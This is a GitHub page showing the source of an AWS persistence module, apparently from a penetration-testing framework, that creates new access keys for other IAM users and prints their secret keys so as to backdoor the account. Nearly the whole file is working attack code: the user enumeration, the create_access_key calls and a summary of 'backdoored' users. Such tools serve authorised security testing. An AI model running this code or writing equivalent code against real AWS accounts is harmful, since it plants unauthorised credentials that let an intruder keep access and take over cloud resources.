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rjulian Reformat and minor linting of backdoor_users_keys (#314)

866376c · 2 years ago

105 lines (87 loc) · 3.98 KB

Code

Blame

Raw

```
1  #!/usr/bin/env python3
2  import argparse
3  from botocore.exceptions import ClientError
4
5
6  module_info = {
7      # Name of the module (should be the same as the filename)
8      "name": "iam__backdoor_users_keys",
9      # Name and any other notes about the author
10     "author": "Spencer Gietzen of Rhino Security Labs based on the idea from https://github.com/dag",
11     # Category of the module. Make sure the name matches an existing category.
12     "category": "PERSIST",
13     # One liner description of the module functionality. This shows up when a user searches for mod
14     "one_liner": "Adds API keys to other users.",
15     # Description about what the module does and how it works
16     "description": 'This module attempts to add an AWS API key to users in the account. If all user
17     # A list of AWS services that the module utilizes during its execution
18     "services": ["IAM"],
19     # For prerequisite modules, try and see if any existing modules return the data that is require
20     "prerequisite_modules": ["iam__enum_users_roles_policies_groups"],
21     # Module arguments to autocomplete when the user hits tab
22     "arguments_to_autocomplete": ["--usernames"],
23 }
24
25 parser = argparse.ArgumentParser(add_help=False, description=module_info["description"])
26
```

```
27     parser.add_argument(  
28         "--usernames",  
29         required=False,  
30         default=None,  
31         help="A comma-separated list of usernames of the users in the AWS account to backdoor. If not s  
32     )  
33  
34  
35     def main(args, pacu_main):  
36  
37         ##### Don't modify these. They can be removed if you are not using the function.  
38         args = parser.parse_args(args)  
39         print = pacu_main.print  
40         input = pacu_main.input  
41         #####  
42  
43         usernames = gather_usernames(args.usernames, pacu_main)  
44         summary_data = {}  
45         client = pacu_main.get_boto3_client("iam")  
46  
47         add_key = ""  
48         summary_data["Backdoored_Users_Count"] = 0  
49         print("Backdoor the following users?")  
50         for username in usernames:  
51             if args.usernames is None:  
52                 add_key = input(f" {username} (y/n)? ")  
53             else:  
54                 print(f" {username}")  
55             if add_key == "y" or args.usernames is not None:  
56                 try:  
57                     response = client.create_access_key(UserName=username)  
58                     print(f"    Access Key ID: {response['AccessKey']['AccessKeyId']}")  
59                     print(f"    Secret Key: {response['AccessKey']['SecretAccessKey']}")  
60  
61                     summary_data["Backdoored_Users_Count"] += 1  
62  
63                 except ClientError as error:  
64                     code = error.response["Error"]["Code"]  
65                     if code == "AccessDenied":  
66                         print("    FAILURE: MISSING REQUIRED AWS PERMISSIONS")  
67                     else:  
68                         print(f"    FAILURE: {code}")  
69  
70         return summary_data  
71  
72
```

```
73  ✓ def gather_usernames(usernames_cli_args, pacu_main):
74      session = pacu_main.get_active_session()
75      print = pacu_main.print
76      fetch_data = pacu_main.fetch_data
77      usernames = []
78
79      if usernames_cli_args is not None:
80          if "," in usernames_cli_args:
81              usernames = usernames_cli_args.split(",")
82          else:
83              usernames = [usernames_cli_args]
84      else:
85          if (
86              fetch_data(
87                  ["IAM", "Users"], module_info["prerequisite_modules"][0], "--users"
88              )
89              is False
90          ):
91              print("FAILURE")
92              print(" SUB-MODULE EXECUTION FAILED")
93
94          for user in session.IAM["Users"]:
95              usernames.append(user["UserName"])
96      return usernames
97
98
99  ✓ def summary(data, _pacu_main):
100      out = ""
101      if "Backdoored_Users_Count" in data:
102          out += (
103              f" {data['Backdoored_Users_Count']} user key(s) successfully backdoored.\n"
104          )
105      return out
```